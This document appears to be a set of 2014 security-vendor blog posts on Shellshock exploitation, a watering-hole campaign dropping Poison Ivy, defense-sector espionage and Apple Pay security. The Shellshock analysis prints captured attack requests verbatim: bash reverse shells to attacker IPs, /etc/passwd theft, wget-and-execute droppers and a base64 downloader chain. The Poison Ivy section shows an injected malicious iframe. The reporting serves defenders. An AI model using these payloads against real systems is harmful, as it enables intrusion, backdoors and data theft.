Filename: term_x686_64

MD5: 24bdef31e71342ae413bd2d6ee766564

 

32 BIT ELF binary

Filename: term_i686

MD5: 87a8da400230500026f674c9d0452a11

 

Network Activity: TCP Port 58273

 

 

Shellshock in the Wild

The exploitation of the BASH bug, now widely referred to as “Shellshock”, is in full swing. Attackers have mobilized—multiple proof-of-concept scripts are available, including a Metasploit module, making this vulnerability very accessible. The ease of exploitation, the simplicity of the vulnerability, and the extremely widespread install base of BASH, make this bug so deadly—and shows why enterprises need to apply patches as soon as possible. We have observed a significant amount of overtly malicious traffic leveraging BASH, including:

  • Malware droppers
  • Reverse shells and backdoors
  • DDoS

Some of this suspicious activity appears to be originating from Russia.

We suspect bad actors may be conducting an initial dry run, in preparation for a real, potentially larger-scale attack. We believe it’s only a matter of time before attackers exploit the vulnerability to redirect users to malicious hosts, which can result in further compromise.

The initial patch for this vulnerability (CVE-2014-6271), which was released in sync with the vulnerability’s public disclosure, was quickly found to be inadequate. It’s worth noting that the incomplete patch did not introduce new vectors, but was inadequate to close the hole created by the original bug. Vendors are scrambling to make a second patch (CVE-2014-7169) available, with varying degrees of success and timeliness.

So far, attackers have deployed scanners looking for vulnerable machines that have been bombarding networks with traffic since mid-day Wednesday. Through threat intelligence collected from FireEye’s Dynamic Threat Intelligence (DTI) center, we are seeing frenzied activity all over the world. While much of it seems to be the result of curious individuals and security researchers, there is abundant evidence that malicious actors are rushing to take advantage of this bug as well.

The Common Gateway Interface (CGI) vector (an interface between a web server and executables that produce dynamic content) has received the bulk of the focus from attackers thus far. However, the reach of the BASH Shellshock bug doesn’t stop at web servers. Any application that relies on user-controlled data to set OS-level environment variables and then invokes the shell from that same context can trigger the vulnerability. In other words, web applications relying on a specific type of user input can be manipulated to make clients (i.e., consumers) vulnerable to attack. The list of potentially vulnerable systems is long indeed, including everything from traditional home users and enterprise servers to Unix-based ISC/SCADA systems and embedded devices.

Given the sheer number of vulnerable systems, the severity of exploitation outcomes and the relative ease of exploitation, we expect to see significant use of this vulnerability by malicious actors, particularly in automated attacks.

The full extent and reach of the BASH Shellshock bug is still unknown. The bug has existed in BASH’s code for over two decades and BASH is integrated deeply into many organizations’ systems and architectures. Almost any type of internet-connected device that uses the BASH shell can be affected. While home users and traditional servers may be able to patch their way out of danger, many embedded devices and Unix-based ICS/SCADA systems don’t have access to such an easy recourse.

Vector & Vulnerability Analysis

Since the vulnerability was publicly disclosed on Wednesday, the focus has largely been on the CGI vector, which predominantly affects web servers. When a web server executes CGI content, it creates environment variables for each of the HTTP request parameters. This includes GET URI parameters, POST content body parameters and all HTTP headers. The script will then have access to the request parameters by accessing the environment. If the CGI content uses BASH at any point, by calling BASH directly, through a sub-process call, or by invoking a shell command (when BASH is the default shell), the vulnerability will be triggered. In other words, your CGI server might be vulnerable even if your CGI content doesn’t directly include BASH scripts.

The salient points to keep in mind about the CGI vector, is that it can be delivered by any HTTP request parameter, the server doesn’t have to directly call BASH scripts for it to be vulnerable, and it is OS agnostic. Its only dependencies are the web server, the CGI content it hosts, and the use of BASH as the shell.

DHCP clients based on the reference implementation from the Internet Systems Consortium can manipulate environment variables using data taken from the DHCP server. This makes it another remote vector for the BASH bug. If the DHCP client machine is running BASH, then the vulnerability will be triggered when it connects to a malicious DHCP server. This will often occur automatically, silently and with no user input. To make matters worse, DHCP clients have more privileges than CGI scripts. This affects the default DHCP clients found on most Linux flavors, but OSX is unaffected, as it uses a different implementation.

A SSH vector arises from the ForceCommand functionality, which allows a SSH server to be configured to restrict user actions. An authenticated malicious user could send a crafted communication that would trigger the BASH vulnerability, effectively allowing the attacker to break out of these restrictions and execute arbitrary commands. Since SSH is often used to tunnel and facilitate other services, applications that depend on this functionality may also be affected.

Exploitation Techniques

The Shellshock traffic we have been able to observe is still quite chaotic. It is largely characterized by high volume automated scans and PoC-like exploit scripts.

The following is brief analysis of some of the exploitation techniques that we have observed in Shellshock traffic. Each technique includes a traffic sample with relevant HTTP headers and a description of the exploit mechanism.

Automated Click Fraud

Note: This has a blank line, whereas the ones below do not. Also, URLs have been defanged [.] to prevent self-infection.

Accept: () { :;}; /bin/ -c "curl
http://31.41.42[.]109/search/wphp/j.php?cgi=XXX

User-Agent: () { :;}; /bin/ -c "wget -q -O /dev/null
http://ad.dipad[.]biz/test/http://XXXXXX.com/"

These requests are attempting to convince the target machine to get resources from suspicious networks, at first glance they almost appear as if a user had clicked on an ad. It is worth mentioning that the above domain was only recently registered on September 19, 2014. The potential for automated click fraud here is evident as it would be trivial for attackers to craft HTTP requests that generate ad revenue, making it another avenue for the Blackhat SEO crowd to exploit for financial gain.

The No-Malware Reverse Shell Technique

GET /cgi-bin/ HTTP/1.1
Host: <SERVER_IP>
User-Agent: () { :;}; /bin/ -c '/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1'

Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself.

Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system.

Stealing the Password File

GET /cgi-bin/status/status.cgi HTTP/1.1
Host: <SERVER_DOMAIN>
User-Agent: () { :;}; echo "Bagstash: " $(</etc/passwd)

The command above is injected into the HTTP User-Agent, though this time the objective is a simple smash-and-grab of the system password file.

After echoing the string “Bagstash: ” back to the attacker, the exploit uses BASH’s command substitution. The “$(…)” construct starts a subshell and executes the included command, also returning the resulting output to the attacker. In this case, the command is “</etc/passwd”, which is a standard BASH shortcut equivalent to “cat /etc/passwd”. In other words, the password file has just gone out the front door.

Email-Based Reconnaissance

GET /cgi-bin/w3mman2html.cgi HTTP/1.1
Host: <domain>
Cookie: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
Referer: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
User-Agent: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

A very large percentage of the total number of exploit attempts are really just probes designed to somehow let the attacker know if it has succeeded, without causing any real damage to the system. Most of these use the “ping” command, or even the /dev/tcp capability mentioned above. This one, however, stood out due to the fact that it was the only one to use email.

The command above is fairly straightforward. If successful, the exploit uses the built-in Unix “mail” command to send a message to the indicated Gmail address, with the subject line “hello”. There is no message body.

Because email often takes very indirect routes to its destination, with the potential to involve many intermediate mail servers before final delivery, it seems odd that an attacker would consider this a reliable way to identify which systems were successfully exploited. Nevertheless, we observed this at multiple customers, using the same email address.

Payload Analyses

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts via exploitation of the Shellshock BASH bug. The following is a brief analysis of these cases. They follow a similar format as the previous section.

Reverse Shell Perl Script

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
User-Agent: () { :;}; /bin/ -c "/usr/bin/wget http://singlesaints[.]com/firefile/temp?h=<domain> -O /tmp/a.pl"
Host: <domain>
Accept: */*

The injected BASH command above simply downloads a file. The downloaded payload (md5: 27cb601055cee7a4e55a91ee524f3d88) is a Perl script that sets up a reverse shell connecting to 72.167.37.182 on port 23 to singlesaints[.]com, a dating site for Mormons and the same domain that is hosted the downloaded script, resolves to this IP.

The script was first submitted to VirusTotal yesterday and at this time, it only has one detection. It was named after “Bashattack”, inferring that it was previously unknown to AV vendors. Curiously, the script, along with its server component, is hosted at http://ww7.microtek.com.tw/Uploads/test/ttyClient.pl.

Tsunami/Kaiten, an IRC-based DDoS Client/Backdoor

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/-shellshock-scan-of-internet.html)
Accept: */*
Cookie: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;
Host: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;
Referer: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file. The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC. This particular variant is configured to connect to and receive commands from the same IP address it was downloaded from: 104.192.103.6.

UDP Flood

GET / HTTP/1.0
User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Accept: */*
Cookie: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.
‪txt > /var/www/html/conf.php
Host: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php
Referer: () { :; }; wget 37.187.225.119/conf.txt > /var/
‪www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php

The injected commands above download a PHP file to what are commonly configured to be a Web server’s root directories, trying two different common locations. The PHP script (md5: 19149a03c9bd3a2706cb355df52862dd) was submitted to VirusTotal earlier yesterday with a few detections identifying it as a flooder. It is a small and simple PHP script that will continuously send UDP packets with 65,000 bytes of random alphanumerical characters to a host. The host, port, and time limit are all passed as GET request parameters along with a simple authentication password that must be “microstresser14”. The idea here is to convert exploited Web servers into on-demand DDoS clients.

Perl.Shellbot, another IRC-based DDoS Client/Backdoor

GET / HTTP/1.0
Accept: */*
Accept-Language: en-US
User-Agent: () { :;}; /bin/ -c ' -i >& /dev/tcp/195.225.34.101/3333 0>&1'
Host: <domain>
Connection: Close

The injected command above use the technique described above in the section titled “The No-Malware Reverse Shell Technique”. It sets up an interactive BASH shell to read in commands from a service running on 195.255.34.101 on port 3333. This server was hosting a file named index.html that contained the following BASH commands that were likely used in this attack:

rm -rf /tmp/.lCE-unix;echo 
'aW1wb3J0IHVybGxpYjt1cmxsaWIudXJscmV0cmlldmUgKCJodHRwOi8vMjAyLjEzNy4xNz
YuMTQ2L2ljb25zL3h0LmRhdCIsICIvdG1wLy5sQ0UtdW5peCIpCg=='>>/tmp/.lCE-
unix;perl -MMIME::Base64 -ne 'print decode_base64()' < /tmp/.lCE-
unix|python;wget -O /tmp/.lCE-unix 
http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 
443;rm -rf /tmp/.lCE-unix;uptime

The commands above Base64 decode the initial string into the following python code below and execute it with Python.

import urllib;urllib.urlretrieve ("http://202.137.176.146/icons/xt.dat", "/tmp/.lCE-unix")

The code above simply downloads a file. The proceeding BASH commands redundantly (perhaps as a fallback mechanism) download the same file again using wget, then execute the file with Perl, removing the file after execution. The Perl script (md5: cd23ef54e264bd84ab1a12dddceb3f48) was first submitted to VirusTotal over a year ago and is known as ShellBot. It is an IRC bot with remote shell, scanning, and DDoS functionality. The BASH command passes it arguments that direct it to connect to 81.18.135.38 on port 443.

Another Perl.Shellbot Variant

GET /cgi-bin/hello HTTP/1.0
User-Agent: () { :;}; /bin/ -c "cd /tmp; wget http://dl.directxex[.]net/dl/nice.png; chmod +x *; perl nice.png"
Host: <domain>

The injected BASH commands above download a file to /tmp, make all files in /tmp executable (including the downloaded file), and execute the downloaded file with Perl. The downloaded file (md5: b0b8a35445a4743ff6f196a4c0bba688) is a Perl script referring to itself as “DDoS Perl IrcBot v1.0” in its comments. It was first submitted to VirusTotal only ten days ago, on September 17th with several detections naming it ShellBot, the same as with our previous analysis above. This script shares much code and functionality with the previous sample as well. This script is configured to connect to 94.102.52.10 on port 6667.

Tiny Reverse Shell ELF Executable

GET /cgi-
bin/ICuGI/EST/blast_detail.cgi%3FID%3DPU056535%26db%3DGenBank%26organis
m%3Dcucurbita_pepo HTTP/1.1
Host: <domain>
content-length: 0
accept-encoding: gzip, deflate
referrer: ()
{ :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | /bin/grep 64) 
; then /usr/bin/wget 82.118.242.223:9199/v64 -O /tmp/.osock; 
/usr/bin/lwp-download http://82.118.242[.]223:9199/v64 /tmp/.osock; 
/usr/bin
/curl http://82.118.242.223:9199/v64 -o /tmp/.osock; else /usr/bin/wget 
82.118.242.223:9199/v -O /tmp/.osock; /usr/bin/lwp-download 
http://82.118.242[.]223:9199/v /tmp/.osock; /usr/bin/curl
http://82.118.242[.]223:91
99/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock"
accept: */*
user-agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 
Safari/537.3
6
cookie: () { :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | 
/bin/grep 64) ; then /usr/bin/wget 82.118.242.223:9199/v64 -O 
/tmp/.osock; /usr/bin/lwp-download http://82.118.242[.]223:919

The injected BASH commands above, in this case, are quite lengthy. This is because it tries three different methods for downloading the payload. It also checks to see if the system is 64-bit or not and downloads a 64-bit version of the payload appropriately. The payload is a very small ELF executable (md5: 959aebc9b44c2a5fdd23330d9be1101e) that was submitted to VirusTotal yesterday with 0 detections. It simply creates a reverse shell, connecting to the same IP the payload was downloaded from: 82.118.242.223.

We will continue monitoring the threats and keep you updated with our new discoveries. We would also like to thank Durgesh Sangvikar and Josh Gomez for their great research and contribution to this blog post.

Aided Frame, Aided Direction (Because it’s a redirect)

Introduction:

On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims’ systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring our clients were prepared for these intrusion attempts well in advance of threat actor implementation.

Activity Overview:

On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared infrastructure and tools, on at least three different websites: an international non-profit organization that focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of the iframes. The threat group obfuscated the iframe on two of the compromised websites.

<div class=”views-field views-field-body”>       <div class=”field-content”><p><iframe height=”0″ src=”http://103.27.108.45/img/js.php” width=”0″></iframe></p>

Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address

The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request to this URI returned the following content:

<applet code=”NvTest.class”,height=”200″ width=”200″>

.<param name=”bin” value=’4D5A90……’

Figure 2: The encoded payload (snipped for brevity)

The ‘bin’ param shown in Figure 2 is decoded from ASCII into hex by the Java exploit. Once decoded, FireEye identified the payload as a Poison Ivy variant. It had the following properties:

MD5                  118fa558a6b5020b078739ef7bdac3a1

Size                 25608 bytes

Compile Time         2014 09 15 08:21:23

Import Hash          09d0478591d4f788cb3e5ea416c25237

The Poison Ivy variant was also code signed with the below certificate:

SHA1                     47:8C:E3:D6:CC:17:60:D3:27:14:6A:36:C9:88:77:4D:27:83:6A:D4

MD5                       82B582589D4A59BE0720F088ACAC67A3

Serial Number             581AE6B6ABAFD73AC85B1AEFBDB2555F

Common Name               zilliontek Co.,Ltd

Organization             zilliontek Co.,Ltd

Country                   KR

State/Province           Gyeonggi-do

City                      Suwon-si

Issue Date               Jan 12 00:00:00 2013 GMT

Expiration Date           Feb 20 23:59:59 2015 GMT

The backdoor also contained the below versioning info embedded in the RT_VERSION of one of the PE resources:
LegalCopyright: Copyright 2012 Google Inc. All rights reserved.
InternalName: chrome_exe
ProcuctShortName: Chrome
FileVersion: 34.0.1847.131
CompanyName: Google Inc.
OrginaLFilename: chrome.exe
LegalTrademarks:
ProductName: Google Chrome
ComparyShortName: Google
LastChange: 265687
FileDescription: Google Chrome
Offcial Build: 1
PriductVersion: 34.0.1847.131
Translation: 0×0409 0x04b0

This versioning info attempted to masquerade as a Google Chrome file. However, the malware author misspelled multiple words when attempting to put in versioning information for this particular build.

The Poison Ivy implant had the following configuration properties:
C2: quakegoogle.servequake.com, Port: 80
Password: qeTGd3485fF
Mutex: )!VoqA.I4

The C2 domain quakegoogle.servequake[.]com resolved to 115.126.62.100 at the time of the SWCs. Other domains resolving to the same IP include the following:

assign.ddnsking.com
quakegoogle.servequake.com
picsgoogle.servepics.com

Figure 3: Domains observed resolving to 115.126.62.100

Between August 30, 2014 and September 16, 2014 we also observed SOGU (aka Kaba) callback traffic sent to assign.ddnsking.com over port 443.

Links to the Sunshop Digital Quartermaster

The Poison Ivy backdoor also had a RT_MANIFEST PE resource with a SHA256 fingerprint of 82a98c88d3dd57a6ebc0fe7167a86875ed52ebddc6374ad640407efec01b1393.

This same RT_MANIFEST resource was documented in our previous Sunshop Digital Quartermaster report. FireEye previously identified this specific RT_MANIFEST as the ‘Sunshop Manifest,’ and we have observed this same manifest resource used in 86 other samples. As we stated in the Quartermaster report, we believe this shared resource is an artifact of a builder toolkit made available to a number of China-based APT groups.

Conclusion

This activity represents a new SWC campaign. We suspect threat actors are leveraging their access to compromised websites belonging to NGOs and non-profits to target other organizations in the same industries. These websites are often visited by organization employees and other organizations in the same industries, allowing threat actors to move laterally within already compromised networks or gain access to new networks. While FireEye has not attributed this activity to a specific threat group, we frequently observe China-based threat actors target non-profits and NGOs, and we suspect that they seek to monitor activity within their borders that may lead to domestic unrest or embarrass the Chinese government. For example, in 2013, FireEye observed China-based threat actors steal grant applications and activity reports specifically related to an international NGO’s China-based activities. We suspects threat actors sought to monitor these programs and involved individuals. The three organizations whose websites are hosting the malicious iframes have China-based operations.

FireEye is releasing information on this campaign to allow organizations to investigate and prepare for this activity in their networks. We believe non-profits and NGOs remain at elevated risk of intrusion and should be especially wary of attempts to compromise their networks using SWC. Threat actors may use SWCs to achieve this goal, but FireEye does not discount the possibility that threat actors will use other means at their disposal, including phishing. Based on past threat actor activity in this industry, FireEye expects threat actors are motivated to steal programmatic data and monitor organizations’ programs in specific countries. If China-based threat actors are behind the observed campaign, FireEye expects that organizations with operations in China are high-priority targets. FireEye currently has detection measures in place that should allow users of FireEye products to detect this SWC activity. It is also likely that other industries or organizations were affected by this SWC activity, since these sites are public facing and frequently visited.

Special thanks to Google’s Billy Leonard for providing additional information and research.

Thanks to the following authors for their contributions: Mike Oppenheim, Ned Moran, and Steve Stone.

The big bad BASH bug

This bug is horrible. It’s worse than Heartbleed, in that it affects servers that help manage huge volumes of Internet traffic. Conservatively, the impact is anywhere from 20 to 50% of global servers supporting web pages. Specifically, this issue affects web servers using GNU BASH to process traffic from the Internet. In addition, this bug covers almost all CGI-based web servers, which are generally older systems on the Internet.

This bug allows arbitrary remote code execution on a remote webserver, something that is extremely serious. Why? It allow the attacker to leverage the website in further strategic web compromises, such as watering hole attacks, against website visitors. This is precisely how many targeted attacks occur, with an exceptionally high degree of success.

What can enterprises do? The first step in this problem is to actively scan your infrastructure to identify vulnerable systems and assess overall impact. Most of the major Linux distributions have issued patches for this bug. Alternatively, switching your default shell to something other than BASH will help mitigate this issue.

We have not seen this vulnerability used in targeted attacks yet. There is a high probability that sophisticated threat groups will use this vulnerability soon. It is unknown as to whether these types of discovered vulnerabilities will escalate in the future. Finally, it’s worth noting we have seen the first attack in the wild:

https://gist.github.com/anonymous/929d622f3b36b00c0be1

However, this is not necessarily a targeted attack.

Putting TRANSCOM in Perspective

Today, the Senate Armed Services Committee released information indicating that China-based threat actors were heavily targeting TRANSCOM, the U.S. military’s logistics arm. In terms of the private sector contractors impacted, the intrusions detailed in the Levin report mirror activity FireEye has observed: we frequently see nation state threat actors target not only government, but also private sector organizations in order to obtain military intelligence.

Why Pursue Military Secrets?

FireEye believes that China-based threat actors are primarily motivated to compromise the defense industrial base – both private defense contractors and government agencies — (DIB) for data theft in order to:

  • Steal intellectual property and proprietary information capable of providing the government with a military advantage and assist the country in reaching its goals for military modernization. The Chinese government likely could use information stolen from the DIB to assess the U.S.’ military capabilities, and indigenously develop its products (as well as possibly the means to effectively counter them). This may also offer a way for the government to circumvent U.S. security restrictions and other export controls to obtain technologies that they are not able to otherwise purchase from the U.S. and its close allies.
  • Stealing data from the DIB could also provide the Chinese government with an economic advantage in the global arms market, as the government would be able to indigenously develop and then sell new and highly valued technologies. Using stolen blueprints would also allow the Chinese government to increase its market competiveness, as it would be able to skip the research and development process and thus sell the same products for a cheaper price.

Threat Actors and Targets

We have seen more than 20 unique threat groups (including almost all the China-based APT groups that we track) that have compromised corporate networks in the Aerospace and Defense industry, particularly the following subsectors:

  • Aerospace & Defense Parts Wholesalers
  • Aerospace Products & Parts Manufacturing
  • Aircraft Engine & Parts Manufacturing
  • Guided Missile & Space Vehicle Manufacturing
  • Industrial & Military Computer System Manufacturing

Common data theft includes:

  • Personal Documents
  • Research Reports
  • Organizational Charts and Company Directories
  • Testing Results and Reports
  • Product Designs/Blueprints
  • Business Communications
  • Production Processes
  • PII
  • Budget Information
  • Safety Procedures
  • General Proprietary Product or Service Information
  • Equipment Maintenance Records and Specifications
  • System Log Files

While TRANSCOM attributed all 20 intrusions that it classified as “advanced persistent threat” to China, it’s important not to lose sight of the fact that China is not the only player in this game:

  • We have also observed suspected Russia-based actors target a defense technology company, and in Operation Saffron Rose, we saw an Iranian group target US defense contractors in addition to members of the Iranian opposition.
  • We’ve also seen a number of regional conflicts, such as India-Pakistan, play out in the cyber arena, and we are seeing indications that Middle East-based hackers are tuning their skills and posing an increasing nuisance to companies around the globe.

Multiple threat groups appear to have a firm understanding of the Aerospace and Defense supply chains, including the relationships between organizations and specific projects in the industry. In multiple instances, cyber espionage groups have targeted information about specific projects across several companies. Similarly, we have observed threat groups target the entire Aerospace and Defense manufacturing production cycle, from research and development through testing and production, all the way to product launch.

Defense contractors are not the only parties who are affected by military intelligence collection. We have also seen relatively small companies—for example, technology companies that produce products for military and consumer applications—hit by probable nation-state threat actors, who appear to be collecting intelligence on the companies relationships with adversary military organizations.

The intrusions at TRANSCOM and its contractors resulted in data theft, but it’s important to note that data theft is not the only possible outcome of a breach. It’s also possible for threat actors to modify data once they have access to it, or even to destroy data, as they did in the case of Saudi Aramco. They may establish a foothold to ensure that they have access to victim networks for future use, or to conduct reconnaissance for possible, future operations.

Lessons from TRANSCOM

Of the 11 contractors impacted, eight said they were not aware of any threat activity occurring during the period in question. This hearkens back to a mantra we have at FireEye: it is not a matter of if an enterprise will be breached, but when. It is therefore critical that organizations prepare for the inevitable breach by monitoring for signs of an intrusion, sharing intelligence with industry peers, and having a strong incident response plan in place. In addition, intel sharing—more freely among government entities, as well as the threat intelligence community writ large—and contribute to better preparedness and a more effective defense against cyber threats.

Security Perspective

Filter by Category:


Apple Pay: A Security Analysis

 Has Apple taken a bite out of hackers’ arsenals? The company is betting on it. Its recent announcement about a new secure payment option has the retail and tech worlds buzzing. If Apple can implement its near-field communication (NFC) payment system correctly, it can absolutely increase security, guarding against the disastrous types of credit breaches that have dominated headlines. Being able to rely on NFC for securely making mobile payments could be a game changer in the current environment of data breaches. But that’s not the only possible outcome. As NFC payments become more popular, it may force new innovation and inspire more creative techniques for credit card payments. Apple is at least the third major player to enter into the NFC payment market, and it now seems increasingly likely that the demise of the antiquated magnetic strip credit card is underway– which also, ultimately, means more a challenge for hackers.

History Lessons

 NFC has been around in the mobile payment arena for a while. In September 2011, Google entered into the market with its product Google Wallet. However, its rollout to Android phones and adoption was stifled by the cell phone carriers, resulting in only a small number of phones that could use Google Wallet. The issue stemmed from the fact that the Android phones used something referred to as a Secure Element (SE), which is where the NFC payment system stored the financial data in protected memory.  Due to the use of the SE, wireless carriers requested that the Google Wallet application be blocked. This appeared to be a thinly veiled attempt to give the carriers time to develop their own payment system. In late 2010, Verizon, T-Mobile and AT&T created a joint venture called ISIS Wallet, designed to also do NFC payment systems (the platform has recently rebranded under the name Softcard). However, their rollout was slower than Google’s, only offering a pilot rollout by mid-2012. While this activity between Google, the carriers, and ISIS continued, Apple chose to initially move towards iBeacon. iBeacon is a first step towards proximity-based transmitters based on Bluetooth 4.0, and was believed to be Apple’s initial offering in the wireless point of sale offering. However, the technology never caught on as a payment platform. Both Apple’s and Google’s initial offerings met resistance, though both companies remained undaunted and worked to improve their respective platforms. Google’s engineers have worked around the SE issue by using Host-Based Card Emulation available in Android 4.4. Apple moved off of the iBeacon and moved towards NFC based payments, now called Apple Pay.

How Does Apple Pay Try to Stay Secure?

Technology-wise, the back-end architecture is ready to support this change. Over the past few years, several businesses, including McDonalds, have upgraded their electronic Point of Sale (POS) systems to allow faster payments through touch-less NFC readers. The Apple Pay process works like this: after you launch the payment application on your phone you will tap it on the credit card terminal to make an NFC connection. The device securely connects to the payment system and selects a credit card already stored in the phone. The actual credit card number is not stored in the phone, rather it is stored as a Device Account Number. During the transaction, that number is combined with a secure transaction code, and must be authorized via the fingerprint scanner on the iPhone 6. (On the iPhone 5, a PIN is used for approval.) The SE chip validates the transaction, relaying your authorization to the NFC modem. The transaction information goes to the merchant, who sends it to the acquiring bank, who vouches the information on behalf of the merchant.  That information is then sent from the acquiring bank to the payment processing network.  The payment processor (Visa, MasterCard, etc.) then has means to determine the account information, the credit card being used, and ensure that the transaction security code is valid.  Because the payment processor is accessing the device data, Apple has no record of what credit cards are being used, or how.

Credit Cards are a Target

As the media has covered in depth, hackers have placed a bulls-eye on American retailers. There’s a good reason for that: that’s where the credit cards are. At the end of 2013, there were 1.2 billion debit, credit, and pre-paid cards circulating in America – more than any other region. Other developed countries have migrated to chip-and-PIN technology, whereas the United States relies nearly exclusively on magnetic strip cards, which is much more valuable for hackers because of their ease of use by criminals. Hackers cost global payment-card losses of $11.3 billion in 2012 (including retailers and card issuers), and the U.S. accounted for 47% of that.

Credit Cards - US

So How Secure is Apple Pay?

By nature, NFC payments should be more secure. Unlike a traditional credit card, a new string of numbers is created for each purchase, in lieu of transmitting the user’s card information. This security element makes it extremely difficult for hackers to use a stolen number for any other purposes. In a traditional model, the merchant must accept the credit card information, even if it is encrypted. In doing so, the merchant must accept the liability of holding and processing the credit card number. However, NFC payments make skimming credit card data more difficult using current hacker techniques. Because a card is not swiped during the transaction, there is no way to introduce a skimmer to capture the magnetic credit card data. Additionally, this would also mitigate the threats from memory scraping malware such as BlackPOS or Dexter. It may be possible at some point in the future that a small antennae placed hear the NFC reader might be able to capture the communication between the NFC reader and the device. However, because the hacker would only capture the Device Account Number combined with the transaction code, it is highly unlikely that an eavesdropped communication could be reused malicious purposes. The process should deter hackers looking for credit card data from merchants who only use NFC-based payments because they will only handle the Device Account Number and the secure transaction information – not the credit card number. Even if threat actors are able to access the retailer’s network, the one-time-use-only nature of the information makes it essentially useless for their purposes. And at this point, it is unclear if a retailer will even store such information at all. Of course, we can possibly expect an adoption time where they will use NFC-based payments as well as the traditional magnetic-based credit card data.

What About the Future?  

Moving forward, mobile payment security will rely on three components: user authentication, validation of mobile applications, and third-party payment processers. First is authentication. Apply Pay uses biometrics for authentication. However, this is still an emerging technology as demonstrated when the iPhone 5S Touch ID could be bypassed just two days after launch. While convergence is the key value, it also proves to be one of the key risks that comes with these new forms of finance. While we look at the individual components and the vulnerabilities and risks they bring, we must also look at the process as a whole. Second, we must consider third-party apps and malware that may negatively impact Apple Pay. While Apple may not be opening Apple Pay up to third parties, we have previously observed malware in nearly every mobile environment. In this case, the credit card number may be vulnerable when being entered into the mobile device. The credit card information is entered into the Passbook by taking a picture of the credit card, or by manually typing it in. This is the time the data is most vulnerable, as malware may attempt to capture the image used, or capture the credit card information that has been manually entered. Finally, there are the payment infrastructure services, which typically have strong security considering the volumes of money processed through them. As POS systems move towards NFC payments, there will be fewer magnetic-based card credentials available on merchant networks. It is likely that hackers will not give up their craft, but rather redirect their efforts toward the next weakest link in the chain.

Final Thoughts  

Consumer fraud is a massive market. We must expect those who participate in online consumer fraud to look to this new technology space to maintain their crime revenue streams. Add the popularity of shopping and banking on smart devices, and you clearly see a convergence point for future criminal focus, whether recreating traditional fraud in an evolving environment or identifying new vulnerabilities and opportunities. At the moment, though, it appears Apple Pay and other NFC mobile payment systems in general offers enhanced security against traditional retail credit card breaches. As mobile payments continue to provide convenience and speed, the credit card as we know it will most likely evolve while we as consumers will increasingly rely on virtual wallets, payments, and accounts. As this shift in behavior occurs, we expect criminals to move with the trends and to continue to innovate or be shut out of the market.

Security Done the Right Way: Adaptive Defense

Over the past two decades, we have had the privilege of responding to hundreds of computer security breaches. We have spent over a million hours on the front lines combatting the most advanced computer intruders, assisting organizations in responding to the attacks.

These experiences have provided us the opportunity to become intimate with the challenges organizations face when confronting cybersecurity threats. They also provided the best vantage point for us to observe the current state of the threats attacking organizations.

Our most telling conclusion is that today’s cyber attacks circumvent even the most secure organizations. These highly security-conscious organizations implement programs with numerous products, plenty of personnel, and thorough policies that address known weaknesses. Yet, they still tend to suffer security incidents as frequently as organizations whose security programs are not as robust.

Why is this the case? Simply put: attackers have been adapting to enterprise defenses and exploiting weaknesses we’ve never heard of far faster than we can adapt or react to their activities … until now.

There is no such thing as perfect security – but we can take tremendous strides to advance the speed and effectiveness of our security programs. The most effective security programs will incorporate strategies to reduce their target surface and shorten the “alert to fix” cycle to diminish the impact of any security breaches that do occur. Effective, security conscious organizations will implement:

  1. Strong preventive measures to minimize your attack surface area.
  2. Advanced detection capabilities (signature-less detection, real-time detection).
  3. Network, endpoint, and event visibility.
  4. The threat intelligence required to leverage the visibility.
  5. A fluid process to adapt to emerging threats.

